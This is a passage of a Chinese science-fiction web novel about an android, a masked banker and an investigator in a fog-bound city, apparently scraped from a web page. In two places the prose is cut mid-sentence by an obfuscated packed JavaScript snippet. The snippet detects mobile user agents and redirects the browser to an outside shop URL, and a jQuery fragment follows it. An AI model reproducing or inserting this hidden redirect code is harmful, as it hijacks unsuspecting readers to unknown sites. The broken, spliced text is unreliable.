“跟其他人担心的理由差不多。学院一直对大崩溃之前的科技很感兴趣——好吧,他们是对所有科技都感兴趣。但因为他们总在自己的地盘里偷偷摸摸地搞些研究,让人猜不透那些疯子想干什么,所以大家就比较担心。总之,学院相比一个老老实实干完活就回家喝酒的码头工人,更像一个总是琢磨着怎么投机倒把的期货交易员。而没人相信期货交易员。一句话,不安定因素。我知道你跟学院人有关系。上次那家伙来找你之后,他给你找了一条手臂,那条手臂就在你房间的桌上放着。”易谦明是在说柳怀石。 “是。”周向青只能承认。 “所以,他要求你给他做什么?那总不会白给你吧?”易谦明问。 周向青闻言一愣。 叮的一声,电梯门打开了。 ### 厚重的气密门打开,绿色的大屏幕闪动了一下。 “她答应了。假装同意董事会的条件,然后在庭审直播中反水。” “当然。我明白,不能仅指望这个。我有我的安排。姜原?文档?我才不知道。他是在那趟车上,爆炸了,掉下去了,不知道了。我真的不知道你们为什么那么在意那玩意。那就是个上时代人们在绝望中的无聊实验,跟我现在在做的不值一提。如果我做的事情成功了,那就是无穷无尽的研究样本,是一个全新的未来设计。” “嗯。就这样。” 柳怀石关掉了大屏幕。他从隔音房中走出来,在墙上拍了一下,让隔音门重新变回跟旁边墙壁一样的颜色。 教授们总是忍不住问这问那。 他们关心的事太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好吧。那今天测什么呢?” 柳怀石随手在桌上拿起一样东西。“这是什么?” “笔。” “笔能够做什么?” “写字。画画。如果有两支,还能当筷子用。” “如果我现在给你一支笔,你会拿它干点什么?” “我会把它插进你的眼睛,一直插到你的前额叶,把你的脑子搅成一团浆糊。”那个人头说完,放肆地锐声大笑起来。人头笑了一会,却发现柳怀石的脸上没有任何变化,便正色道:“放心,我现在没有手。所以我顶多就是用嘴咬着它。” “如果有人送你一支昂贵的钢笔做礼物,你会做什么?”柳怀石并不理睬,只是继续问道。 “拒绝,然后说,我现在一无所有,穷得只剩一个脑袋,要笔也没什么用。” “如果有人送给你一万支昂贵的钢笔,你会做什么?” “哦。一万□□性质就不一样了。因为我就不再一无所有了不是吗?我大概会送他一支笔。因为我有很多笔。很多,很多很多,你根本无法想象我有多少笔。九千九百九十八支。你知道还有一支哪里去了?插在你眼眶里!”人头用力喊出最后一句话,然后又哈哈大笑。他笑了一会,又突然停住了。“我笑得这么辛苦,都没有人替我擦一擦眼角的泪水。就连你也不愿意。” 柳怀石仍旧没有理会。他继续问道:“一万支钢笔可以做什么?” “兄弟,你就不愿意帮我擦一下眼角的泪水吗?”人头问。 “一万支钢笔可以做什么?” “说不定可以送给路边的流浪汉,让他替我擦一下眼泪。我的整个眼睛都快被糊住了。”人头说完,又开始用力地眨着眼。 “笔能够做什么?” “可以把一个人变得如此无情,就连他自己的眼泪都不愿意擦。” “那是你的眼泪。不是我的。”柳怀石忍不住答道。 “但我不就是你吗?” “你不是我。” “哈。但我就是你。因为我就是你记忆的复制品。而且有没有一种可能,我现在的所谓‘心理问题’,都来自于你给我的这个只有一个脑袋的身体?如果一个人缺失了肢体,那他的精神一定会出问题。所以你才会跟我如此见外。而如果你到了我的身体里,我到了你的身体里,你就是我,我就是你。”那个人头说道。 “那倒不一定。”柳怀石说。他的眼神飘向放在一旁的仿生机体。他在想周向青。她到底是仿生人,还是谁的意识,还是别的什么东西? 人头转动眼睛,顺着柳怀石的视线望去。“喂!我的右手呢?你把我的右手弄到哪里去了?” “那不是你的右手。是我的右手。” “你把我的右手送给哪个小贱货了对不对?你这个渣男!渣男!迫害狂!家暴男!”人头怒目圆睁,咬牙切齿,但它根本一动都动不了。 柳怀石叹了一口气,关掉了电源。 至少智力没有任何问题。他始终不确定这种奇怪的性格来自于何处。是来自被覆盖的仿生人原本的性格吗?还是真的像他所说,来自于残缺的身体? 但至少周向青没有出现任何问题。但她是一个仿生人。她的性格来自于预制系统的修正与拓展,而不是…… 反正,如果是他自己失去一只手臂,他大概不会真的那么淡然。 这种事总是让他越来越困惑。 但这跟将来要做的事没有关系。他的大方向是没有问题的。学院的大方向是没有问题的。他相信理性的判断。 而且,距离这一步可能还有几年时间。时间还很充裕。 或许他应该再盯着那段录像看上两个小时。 或许他也需要给这工作室里放上一座小小的圣女雕像。 说不定他的心情就能平静一下。 72.雾气弥漫的城市12 “这边就是机房。”易谦明带着她离开电梯,绕了几个弯,算是找到了机房的大门。有一个年轻的女孩子正在那里等他们。 “易行长。您好。还有周小姐也好。我叫严青枫,是负责维护管理机房的业务员。”她倒是对易谦明脸上的海豚面具没什么反应。大概这里的员工都很熟悉他的癖好。但戴着这个面具,真的能认得出来吗? “谢谢。那就请带我们进去吧。”易谦明说。 “所以要参观机房的话,一定要换上我们的防尘防静电的工作服,不能让灰尘污染机房环境,不然容易积热,也会导致漏电。” 话虽如此,也只有周向青去跟着她换了衣服。易谦明倒是纹丝不动。 他们通过厚厚的防尘门,进入一个防尘间。从天花板上喷出一大团白色的雾气,然后那些白雾又被房间另一头的通风口吸走了。就这样来来回回许多次,总算是搞完了,让他们进了机房。 周向青本来以为易谦明是带她来看那个所谓的呼吸系统,但她看到的却只有一排排摆在柜子里的工作站。那个小姑娘则絮絮叨叨地介绍他们这里的设备来:“……这边的设备都是我们自主研发的型号,浮点算力严格遵守复合体上限的同时,更节约能耗,也更少散热。同时我们也跟据易行长的要求,改装了服务器柜,单独设置除尘板来吸附灰尘……” “你们这边的散热都是怎么做的?”周向青只好亲自启发她一下。 “哦,我们这边的专用空调能够达到每小时60次的换气,在整个房间内形成完整的气流循环,所有设备均匀换热不留残热……” “但我看到你们这里似乎也没有跟外界通风嘛。” “当然不能够直接与外界通风啦。机房内部的空气是绝对严格防尘、防水的。这里不跟外界直接相通。尤其是我们的天气这么多雾。” “但我看到你们大楼侧面的玻璃窗都翻起来,像是在通风换气一样。那不是机房的换气设备吗?那个地方在哪?”看那女孩一直不明白自己的意思,周向青只好直接问道。 那个女孩一愣,说:“那个不是我负责的部分,我不太清楚……”她把求助的眼光投向易谦明。 “谢谢你的介绍,青枫。你先回去吧。我带周小姐看一下就好。”易谦明道。 那个女孩如释重负地鞠了一躬,逃跑似的离开了。 等严青枫离开后,易谦明说:“我不是带你来看呼吸系统的。” “我也猜到了。”周向青回答。 易谦明走了两步,问道:“他让你帮他做什么?” “他?”周向青一愣,才想起易谦明大概是想问之前没有问完的柳怀石的事情。但周向青并不确定自己要不要告诉易谦明。她明白,易谦明的友善态度是基于跟“那个人”的交情。她担心自己跟易谦明起了冲突的话,他未必会保持这种友善的态度。 “我知道柳怀石大概是想让你在审判中帮他一点忙,”易谦明说,“但是我不太清楚他究竟想干什么。” 他太谦虚了,明明几乎什么都知道。 “他想让我在法庭上承认我能跟圣女草连接。他说这样会促进社会接受自动化,从而发展进步。别的我就不知道了。”周向青回答。既然对方已经知道眉目,那再隐瞒也没有多大意义。反正柳怀石也没有让她对易谦明隐瞒。 “那,你真的可以吗?跟活化机械连接。”易谦明问。 “我……我应该算是连接了。我也可以一定程度上控制一点圣女草。但实际上我并不清楚是怎么回事。虽然他们叫我圣女、圣女什么的,但我自己没有什么特别的感觉。但如果有人要说我跟这些事情没有关系,我还是有一点不太乐意。毕竟我走到这一步,就是指望着,那个人可以告诉我,我到底算什么。但我现在已经没了一只手。而接下去的路,我也不知道往哪个方向走,也不知道自己到底能走到哪里。”周向青诉说着,渐渐地烦躁且激动起来。 她明明已经来到了这个地方不是吗?为什么“那个人”就不能给她一个明确的答案呢? 易谦明可能有些“动容”,但那张海豚面具仍然傻傻地笑着。“抱歉。但马德兰的确很久都没有来过了。他三年前在筹划停火谈判的时候来过申宁,但他一直在跟董事会的人谈判,我也在忙人才贸易银行最后的突破。我们虽然在同一个城市里,但也没有什么交集。”易谦明说到这里,顿了一下,又说:“那么,除了圣女草之外,你能跟别的活化机械连接吗?比如你之前说的,环运城的鲸鱼,可以吗?” “啊?不知道。我并不清楚。而且,即便我能跟圣女草连接,也只是偶然而已。因为那种活化机械会伸出很多小小的纤毛,刺到你身体里,吸什么金属。就是因为有这样的特性,所以碰巧才能跟我连接,然后事情才变成那个样子。如果让我跟鲸鱼连接——我还真不知道应该怎么办。总不成让它一口吃了我吧?”说到这里,周向青笑了笑。她从刚才的情绪中走出来了。 “你说那个什么纤毛,吸你的金属,就像蚊子一样?” “蚊子?” “总之,就是它用细细的东西插到你皮肤里是吧。”易谦明得到了肯定的回答之后,又问:“也就是说,你除了跟圣女草连接以外,其实也没有尝试过跟其它的活化机械沟通是吗?” “对。没有。我跟圣女草连接也只是你们进攻卡比利亚那天的事。我之前也不知道我可以这样。当时只是情况紧急,那个很大的巨人……”周向青举起手比划了一下,“然后姜原说,让它把我抓住。总之,就是无路可走,只能试一试吧——然后没想到就真的成功了。” “无路可走然后试一试啊……” 眼下倒是还没到那一步。 易谦明是以细不可闻的声音说了这么一句。他对话的兴致似乎也随着他的声音一起消散了。“多谢你陪我聊天。” 易谦明甩下这么一句话,向防尘门走了过去。 ### “所以这就是你对昨天的补充报告?” 曹文道知道对方又不满了。自从他的价值评级下调之后,原本就喜欢找茬的上级就又多了一个借口。那也是自然的。有一个像他这样年纪和资历的部下,很不舒服也不正常。 对方翻了翻那几页纸,抖了抖。“所以你说这些到底是什么意思,你想证明这个圣女能够跟那什么圣女草说话吗?她对着那红红的叶子说‘小草小草,你要长得高高壮壮哦——’?简直是疯了。” “我并没有写这些东西。” “但你就是这个意思。‘她自称能够与名为圣女草的活化机械产生神经上的连接,她的植物神经信号能够覆盖活化机械的信号,或许这是活化机械某种程度上与仿生人是同一类自动化产物的证据。’谁他妈知道你在写什么。仿生人还有植物神经?” “仿生人的拟生物神经系统一定程度上参考了动物的神经系统,而‘植物神经’这个词说的是那些主管呼吸、膝跳反射等等……” “你是真的不知道上面的意思,是吧?”对方叹气道。 曹文道一愣,他下意识地抬头确认对方的眼神,但又在被两道蔑视的目光刺痛后,低下头去。“我只是完成您交给我的任务……” “所以你是真的不知道上面的意思。唉——你当年是不是也是这副德行?‘曹管道’?真的是,你又想操管道了?” “我……没有。我不会再犯那种错误。” “那就好。不要把你对机器人变态的情感转移到案子上。这都三十年了。这都三十年了吗?天。居然跟我年纪差不多了。如果我再过三十年还像你这个样子,真的不如去死了算了。你还有家里人吗?老婆?孩子?” 曹文道没有说话。他的视线不断下沉,最终落在角落里的一颗烟头上。 “唉。真的是。我去喝酒的时候你知道人家说我什么吗?他们让我对你好一点。‘他都那么大年纪了,想当年我还跟他一起在街上执勤呢。’我倒也想对你好啊!但你这样不争气,我有什么办法?真是,提着耳朵都教不会。” “抱歉。” “不要说抱歉。多领会一下上面的意思。动动你的脑子。是不是人年纪大了脑子就锈住了?多动动脑子你不会死的,老头。上面特别指任你这样‘德高年劭’而且有前科的人,就是想要你的形象,让审判看起来更公正一点。但不是真的让你干什么事情。别太自作多情了。” “我明白了。” “所以,你把这些去掉。你问过这些问题,而她拒绝做出有效的回答,她隐瞒了实际的情况,懂吗?不过也真是。公布了审判日期,通稿还迟迟不下来,真是的。搞得我都有点紧张起来了。反正,你出庭的时候千万别捅这种篓子。” “她如果到时候说了一样的话怎么办?” “啊?那就让她别说啊?但不过她说不说都无所谓。她的音源已经找好了,同一型号,同一批次。所以这种事用不着你操心。你只需要扮演好你的角色就行。成熟、冷静、专业,而且坚定地支持仿生人的权利。好了,你去吧。” 曹文道黯然走出上级的办公室。 从那一天算来,也的确是有三十多年了。 三十年前的他是什么样子? 他不太记得。 当年的记忆早已不再清晰,只剩下空虚的概念和情绪的余波。 他知道自己在工厂抡了几年大锤,好不容易考上事务员,穿上制服之后,是兴奋的。但他已经忘记了那身制服的触感,忘记了自己的手如何颤抖到扣不好扣子,忘记了自己的心脏是如何砰砰跳动。他现在所能够触及的,只有回想起那段记忆时不自觉抽动的嘴角。 他现在仍然有时会伸出手,模仿一下当年抚摸她头发时的动作。只不过他现在什么都感觉不到。 当你失去一个人,尤其是亲手交出一个人以后,你当然什么都感觉不到。 曹文道自己对自己说。 他是在一次公务之后发现她的。 是一次突击仿生人工厂的行动。当然,不是“制造”仿生人的工厂,而是用改装过的仿生人提供非法服务的地下场所。行动很简单,他带领几十名事务员用破门锤攻破大门,冲进去逮捕每一个能动的人。对方只有两把枪,但没有开。他们也不敢把事态升级。总之,现场虽然有些混乱,但结束得很快。 行动结束之后,他像往常一样独自在附近抽一支烟的时候,看到她从旁边的垃圾箱里钻了出来。 她居然还知道躲在垃圾箱里。 她跟那种在大崩溃中彻底坏掉,如今被人翻出来格式化,装上一点简单程序重新利用的仿生人并不一样。可能是偶然吧,她还保留着上个时代赋予她的虚拟人格,只不过大部分都成了一团浆糊。她表现得像一个智力不足的小孩。 一个拥有机器人外形设计,加上成年女性特征,却犹如小孩的仿生人。 那些人可能就是因为这样,才没有清理她的脑子。 她并不清楚其他人在拿她做些什么。 她也不清楚曹文道和他的部下在干什么。她趁乱跑了出来,躲在垃圾箱里,等乱七八糟的声音平息之后钻了出来。 曹文道没有把她交回局里。 他是第一次见到这样的仿生人。或者说,他是第一次留意这样的仿生人。不同于那些看到事务员的制服也仍然只是执行预设程序的“人”。她也看上去不像那些浓妆艳抹纹身钉环,会对着他们竖起中指的人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252580|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她看上去像是一个没有沾染任何污迹的孩子。 没有任何一个在那种环境中长大的人类儿童,能够不沾上一点污迹。 这是他自己执法多年的经验。 但仿生人可以在人类的指导下干不论多么肮脏的事情,心灵却仍旧如水晶般清澈透明。即便她只是像个孩子。不。她最好就像个孩子。 因为他明白,真正的仿生人并不是这样。 他的仿生人保留了最好的一部分,而把多余的东西都抛弃了。这上时代的遗物就像是一杯静置百年的泥浆,浑浊的泥污都已经沉淀在最底层封锁了起来,只留出上面的一捧清水。 六个月后,裁判庭发现少了一个仿生人。然后是搜检,质询,最后查到了他的头上。上面给了他一个条件。 拒绝,然后入狱。或者交出她,转成文职,永远离开现场。 ——复合体绝对不允许任何一个具有危险性的自动化产品脱离管制。即便是已经失能的自动化产品也不行。你这是违反纪律。 三十年前,他的上级是这么说的。 他选择了后者。 而现在,却有一个完全没有失能的自动化产品冠冕堂皇地走在铸造局前面的大街上,甚至恬不知耻地坐上他对面的椅子,还要扭来扭去。 这究竟是大家一起违反了纪律,还是说,只是当年的他没有胆量与纪律对抗到底而已? ### “你好啊。我又来了。”那个完全没有失能的自动化产品打着哈哈。 “你又来干什么?”曹文道问。 “但我突然有了一个问题。我也不知道能问谁,能去哪里调查。但我觉得你最有可能知道,所以就来找你了。你这段时间不是负责我的事情吗?就当是互相帮助吧。” “我只负责你的案子——而且我也没有那么负责。”曹文道说。 ——他们已经找到这个自动化产品的音源了。某种程度上说,这意味着他们准备在直播中修改她的发言。唯一在拖延的,大概只是上面还没有决定让她说什么。董事会大概还在跟教会谈判。 只是那个完全没有失能的自动化产品并不知道另一个空间里正在发生的事情,只是白痴似地笑了笑,说:“就当是帮我一个忙。好不好嘛。” “你想干什么?”他问。 “我想知道,怎么才能看到一栋楼的建筑图?” “去建筑管理局。那边有用来审核和备份的图纸。知道了吧?再见。” “但他们可能私自改动了一些内容,没有备案呢?” “那大概要去找施工单位,或者建筑的所有人。你问这个干嘛?你不老老实实等着审判,要看建筑图干什么?” 那个完全没有失能的自动化产品摸了摸自己的脖子,像是待宰的羔羊一样笑道:“因为我总觉得那栋楼里藏了点东西。” 曹文道叹了口气。“你说的该不会是易谦明的银行吧。” “是。怎么,你也觉得那里不对劲吗?” “每个人都觉得那里不对劲——但你搞这些有什么意义吗?你用他的名字把自己保释出去,然后又去调查他的大楼?我是不明白了,你到底想干什么?你们到底是什么关系?” “我们只是朋友的朋友。我就是觉得那栋楼里藏着点东西,但是我又找不到它。所以我就想着,能不能通过其它方式看看,是不是里面藏着秘密的房间、地道什么的。” 秘密的房间。每个人都有放着秘密的房间。里面藏着别人不该知道的东西。 “我觉得你还是把注意力放在审判上比较好。仔细回顾一下起因经过结果,想想还有没有什么你忘了跟我说的。这关系到你自己的权益。” “那都无所谓。反正你们也没有把我关起来不是么?我什么时候想跑都能跑掉。我只是不想跑而已。” “但如果你跑了,易谦明得替你负责。” “嗯,我知道。这也是一个我还没有跑掉的原因吧。”这个完全没有失能的自动化产品轻佻地回答。 曹文道有点困惑,更有点不快。她一点尊重法律的意识都没有。“这‘也’是一个原因?你还有什么原因?你留在这里打算干什么?就是跟小屁孩一样,在易谦明的城堡里探险吗?” “嗯。算是吧。刚才我说了,我在找一个藏起来的东西。” “什么东西?” “不能告诉你。但我觉得这个东西应该就是他让我来这里的目的。” “‘他’是谁?柳怀石吗?” “不是。不能告诉你。” 这个完全没有失能的自动化产品,要比他的她,要聪明多了。当然,这种“聪明”完全及不上人类。人类骗人的时候,眼睛都不会眨一下。而她们只会笨笨地说“我不告诉你”。好像只要她们“不告诉你”,人类就不会用其它的手段刺探出来,永远不会知道一样。 但她也正在刺探着另一个人类隐藏的什么东西,并且为此洋洋得意。就是那种隐藏的炫耀——她想让你知道她在得意,但不想让你知道她在得意什么。 就跟她当时找到了自己藏的酒一样。 这让曹文道更加生气了。不仅是因为这个自动化产品让他想起她,更因为她让他渐渐没有办法在思维中使用唯一的代词。 “如果你告诉我你到底在找什么,我就帮你搞到图纸。”曹文道说。他忍不住想要破坏她的快乐。 凭什么她可以在街上肆无忌惮的玩耍,而他却要把她交出去? 这不公平。这不公平! 他在心里怒吼。 “好吧。我要找一个……我不记得的人,留给我的信息。”她说。 曹文道慢慢地靠在了椅背上。 73.雾气弥漫的城市13 易谦明在吧台前咬着吸管,想要把杯子里最后一滴饮料吸上去的时候,一个长长的黑影渐渐从地毯上伸向他,最后停在距离他一步之遥的地方。 “到休息的时间了。”黑影说。 “是到你休息的时间了。我可不需要休息。”易谦明松开牙齿,吸管弹回杯子的边缘,晃了几晃。易谦明现在戴着一个铁笼一样的头套,脸上另外还有一张玄凤鹦鹉的面具。面具在鸟喙的下面开了一个洞,吸管就是从那里伸进去的。 “是。”黑影低下了头。 “你装什么委屈啊?如果没有你,我不会有今天的位置。我感谢都还来不及,简直都想每天给你下跪了,你装什么委屈?” “您内分泌的情况可能有点问题。我替您明天约医生检查一下吧。” “免了。我没什么问题。只是看你不爽而已。”易谦明把已经咬烂的吸管从杯子里拿出来,左手把杯子对着远处的墙壁一抛。 玻璃杯撞上墙面,一声脆响,粉身碎骨。 “别以为我不知道你心里是怎么想的。我告诉你,情况就是——我们其实是一个人。你永远无法摆脱我,我也无法摆脱你,我们都无法摆脱这个地方。”易谦明狠狠地说完,把吸管对着那团黑影用力一掷。 但那支吸管也只飞出两步远,便轻飘飘落在黑影面前的地上。 黑影默默无言地俯下身,慢慢把吸管捡了起来。 “你去休息吧。我不拦着你。我还有自己的事情要办。”易谦明撑着吧台站直身子,然后向门外走去。 “您要去哪?”黑影问。 “去解决我的生理问题,这你也要管吗?” 易谦明甩下这一句话,头也不回地离开了。 ### “干杯!” 关铁震举起装满白酒的茶杯,跟白少俊和郑小楼碰了一下。 他还想跟姜原碰一碰,但姜原伸手挡住了自己的杯口。“我是不行了。” 他们这一下午算是弄完了公司改注的事情。但名字没有改。“四大恶人就应该有五个。”关铁震是这么说的。其他人对名字本身并没有什么特别的需求。然后姜原跟关铁震又去弄来了易谦明的委托——这次易谦明没有亲自见他们,只是让阿福给他们带了一份文件。 姜原有点不太满意。 但关铁震已经非常开心了。他一个劲地要求在附近的烧烤店办一次庆祝会。能接到这里首屈一指贵人的调查委托,当然值得庆祝。 所以他一直兴高采烈地跟所有见到的人碰杯,然后跟他们炫耀自己接到的委托,然后再碰杯、灌酒、再碰杯。 “所以,我们也算是走上兴旺发达的第一步啦!也算是多亏了你,小兄弟。来来来,跟我再喝一轮!”关铁震绕了一圈后,又搂住了姜原的脖子。 姜原只好又陪他喝了一杯,然后再吃了两串已经冷掉的烤肉,试图以此延缓对酒精的吸收。 马延仙倒是从一开始就只喝茶水,吃毛豆。 “你也别太闹腾了。再过一会还得回去呢。”郑小楼说。 “回去?回哪去?这一个月都没什么高兴事了。”关铁震翻了个白眼。“一会我们去唱歌。” “唱什么歌!现在哪有晚上还开门的唱歌房?” “那我们去……去钓鱼!老白你去开、开船!” “你现在钓鱼得把鱼都吓跑了。叫得这么厉害。这家伙真是没什么酒品。”白少俊说。 “你们年轻时候就这么闹,年纪大了可有得苦头吃咯。关节一下雨就疼。不过也奇怪。这种大雾天按说应该会疼的。我记得我爸妈到了这种雾天就不舒服。但我好像没什么反应。当然也不是所有的雾天都不疼,有时候还是会有点疼。搞不清楚。总觉得可能是吃的不合适了。反正就是还没搞懂规律。”马延仙一个人嘟嘟哝哝地说。 “我算是初来乍到吧——虽然我两年前也来过一次,但我也总感觉这雾不太对。感觉不太像是雾,应该是霾。” “埋?埋什么?”关铁震问。 “雾它不是空气中凝结的水汽嘛。霾是空气中飘着粉尘。”姜原解释道。“比如灰尘,或者沙尘。北方那边有的大风天会把土都扬起来,看上去漫天都是土黄的。而你们这边像是烧的烟灰,灰扑扑的。” “有可能。我们这边工厂很多。之前有人得那个肺病,一直咳嗽。可能就是吸这个灰吸多了。唉呀,那我以后得把口罩戴起来。”马延仙说。 关铁震听姜原和马延仙在聊这些,皱起眉,屁股一扭,去跟白少俊、郑小楼说话了。 姜原看关铁震挪开了,便凑上去问:“马老爷子,你以前是做什么的?” “我?我以前是化工出身,一开始当技术员,后来当工程师。但干那行吧,老有人请你喝酒,你要是老不去,人家就疏远你排挤你,升职也很困难。后来我年纪大了,也不太想在小孩子手下做事,索性就不干了。在家里自学一点医,打打零工什么的。有一天在街上遇到这个家伙。这家伙当时是个街溜子,偷吃别人卖的杏子,吃太快卡在嗓子眼,然后我用那个急救法,给他那么勒了几下让他吐出来。然后这家伙……” “你别老说以前的事儿!那都十几年前了,还提它干什么!”关铁震涨红了脸,而郑小楼也红着脸嗤嗤直乐。 “所以你们也是一直都住在这里咯?”姜原问。 “对。只除了我。”郑小楼说。 “那我跟老爷子打听个事。因为我们最后的目的还是要搞到那批文档嘛,所以我想先看看你们这里的情况。你们这里有没有哪家企业是相对独立一点,然后机房的算力比较高的?” “当然是你们今天去的人贸银行啦。” “还有别的吗?” 马延仙想了一会。“不知道。我感觉他们都差不多。没有哪家特别突出。当年大家都被整惨了,我年轻那时候。董事会用了三十年催缴民间残余和拼凑的高算力设备,鼓励举报揭发,最后大家的东西都被交出去焚毁了。就算现在谁家有什么东西,也肯定是藏起来的。你问我没用。” 姜原点了点头。如果这样的话,他可能还是需要跟易谦明打交道。他实在不想动用学院的信息网。拖延了这么长时间,他现在已经摸不清教授们的态度了。或许他们还能信任他,或许现在那边已经变成了一个陷阱,就算他急急惶惶破解了内容,交过去,也无济于事。 “话说,我们今天去银行的时候,那个易谦明到底是怎么回事?他居然一直戴着头套跟我们说话,感觉跟个变态似的。”姜原问道。 如果真的有下一次,他可不想再被那么吓一跳了。居然连续两次吃瘪,他不由得在心里苦笑。 关铁震听到姜原在说这个,也跟着凑了过来。“对。那家伙真的是脑袋有病。他算是让我越来越讨厌有钱人了。不,不是有钱人。是天才。他是个天才,也真的让人讨厌。我有点好奇,他到底手里拿捏着多少人的名字?” 马延仙跟姜原对望了一眼。 “我猜,百分之十?”姜原问。 “不可能。价值评级制度实际上控制的人群没有那么多。”马延仙说。“我记得在报纸上看到过,评级上市三周年的时候。报上说,实际上参与的人几乎达到了整个复合体的四分之一,不过那肯定是吹牛的,实际掌握信息的人口绝对不到百分之十。而易谦明能直接控制的,是这百分之十里的百分之一,也就是总人口的千分之一,我觉得都有点太多了。” “千分之一?不可能。才千分之一能有那么大的权力?我看起码得控制个三四成吧。”关铁震摇着手。 马延仙哼了一声。“臭小子,你真是对数字一点敏感度都没有。整个复合体号称是四亿人,实际上有没有并不好说,毕竟我们对那些边疆和落后地区都没有那么深入的控制。这数字就是估算出来的。凡是工程都是这样……算了,这个先不提,不然你们又嫌我说起来没完。反正,四亿人的百分之十你知道是多少吗?四千万。四千万的百分之一,四十万。你平时老挂在嘴边的那个安提赛有多少人?有一万吗?作战人员?” 关铁震摇了摇头。“怎么可能。他们主要是安防和特种作战,连上临时工也充其量三千人。” “所以说嘛,能直接控制四十万人,是什么概念?而且控制力还能通过各种关系辐射出去。如果我是董事会的头子,看着这么一个能控制四十万人口,却又不在董事会里的人,我第一个反应就是把他做了。”马延仙在脖子上比划了一下。 “喂喂,你现在的样子跟平时可差太多了啊。”白少俊笑道。 关铁震和郑小楼闻言一同笑了起来,马延仙自己也乐了。 “总之,应该没有那么多。而且有的人价值高,有的人价值低。要那么多价值低的人干什么?没什么用,不如撕掉。”马延仙拿起一张面巾纸,撕成两半,叠起来去包他吃剩的毛豆豆荚。 关铁震道:“没想到,我喝得最多,结果却是老马醉的最快。” 几个人又哄笑起来。 姜原笑了一会,用酒杯轻轻敲了敲桌子。“所以易谦明到底是个什么人?他为什么戴着那个头套啊?” “不知道。但报纸上报道过他的情况。我在一张旧报纸里见过他的照片。他最开始那时候应该是不戴那破玩意的,但后来——”马延仙眯起眼睛,想了一会,“说老实话,我还真不记得了。” “可能是打造人设吧。让自己显得酷一点。就像关老大的点子。”白少俊抬手在自己脸上比划了一下。姜源知道他在说火车上戴的那些面具。 关铁震伸手去把白少俊的手拍了下来。“才不是呢。那叫统一着装,统一步调,团结一致。这是我在……什么地方看的。跟他那种……造什么娇……” “矫揉造作。”郑小楼说。 “对,不一样。我跟他不一样。” “你哪里不一样?每天咋咋呼呼,装腔作势的。”白少俊又说。 “反正就是不一样!那家伙今天戴了一个老大的青蛙头你知道吗?他的脸就在那个青蛙嘴里面。然后他还躲在那个青蛙嘴里吃东西。”关铁震开始模仿易谦明把食物塞进青蛙头的动作。“如果不是气氛那么紧张,我真的早就笑出来了。” 关铁震说到这里,突然停住了,表情也拉了下来。“我都感觉他肯定要拒绝我们的。不知道怎么回事,他居然答应了。” “这你已经说过了。你一回来就说了。” “对,我是说了。但我现在就想着——想着有点不对。”关铁震说到这里,打了个满是酒臭味的嗝。 “得了吧。我看你就是醉了。而且这么晚了。如果你还不回去,说不定到明早就成尸体了。”白少俊取笑道。 “才不会咧!我们刚拿到委托,肯定——肯定能步步高升。价值评级高的人才不会死咧。” 姜原就看着他们胡闹。刚才马延仙倒是说了一条有点价值的信息。易谦明原先是不戴面具的。那是肯定的,没人一出生就戴面具。也可以肯定的就是,必然有一个特殊的契机,让他开始戴面具了。如果只是烧伤之类破相的话,像他那个位置的人,完全可以通过手术修复。 所以一定有什么特殊的理由。 “所以那些旧报道还找得到吗?”姜原问。 “应该可以吧。我有一个剪报本,还收集了一些……” 关铁震笑了。“哈,老马的爱好真的特——别古董。与众不同。” “总比你爱喝酒和胡闹好。郑小楼反驳。 真是没完没了。 但好在店里的人已经不剩几个了。老板也正在清场。 “已经八点四十了啊。再不回家就晚了。”老板吆喝了一句,开始专门收拾他们附近的垃圾。 “走了走了。”白少俊拉起还想灌两杯的关铁震,跟郑小楼点了点头。姜原跟马延仙也跟着站了起来。 一行人晃晃悠悠来到他们“四大恶人”的工作室前,白少俊准备把关铁震扔到床上之后,再送郑小楼回家。而姜原趁机提出,跟马延仙一同散散步。 “你的确跟我们不太一样。”只剩他们两个人之后,马延仙说道。“这个城市里虽然什么人都有,但你不一样。” “哦?哪里不一样?” “这城市,不是什么好地方。就像这没完没了的雾一样。但实际上,在这里常有这么大雾之前,一直就让人压抑得很。所以大家各自会找各自的发泄渠道。小关就是爱喝酒。小白则是那种攻击性,抬杠似的姿态。小郑……小郑还年轻,所以还好。但你,你跟我们不一样。我知道你肯定有自己的压力。但是,我感觉不到你是怎么把它发泄出来的。” 姜原笑了笑。“或许我没有那么多的压力,也或许我比较迟钝,感觉没有你们那么敏锐。” “不会的。人不会迟钝到那种地步。”马延仙说。 “那,你的泄压方式是什么?你刚才也没有说你的方式。” 马延仙从口袋里摸出一支烟,用打火机点燃了,深深吸了一口。“我没有泄压的方式。我只是把它埋在心里。” “或许我也跟你一样呢。”姜原说。“不过我觉得,压力这种东西,只要你不管它,它也会慢慢消失。所以也不用多在意。相比之下——” “或许是这样的,但也不是。如果压力真的消失的很快,那只能说明你这里有什么地方漏气了。”马延仙用夹着纸烟的手指敲了敲自己的脑袋。“虽然这个比喻显得很老古董,但人心就是一台锅炉,而压力就是动力。如果没有压力,那人什么事都不会去做。某种程度上说,易谦明的价值评级是让这个地方重新动了起来,但这也代表他把这里变成了一个压力很高的地方,而这种压力就会从其它地方泄露。我就是这么看待最近的事情的。” “所以你觉得这一系列的杀人或自杀,都是这个‘系统’自己泄压的体现?难怪你觉得他们都是偶然。”姜原说。 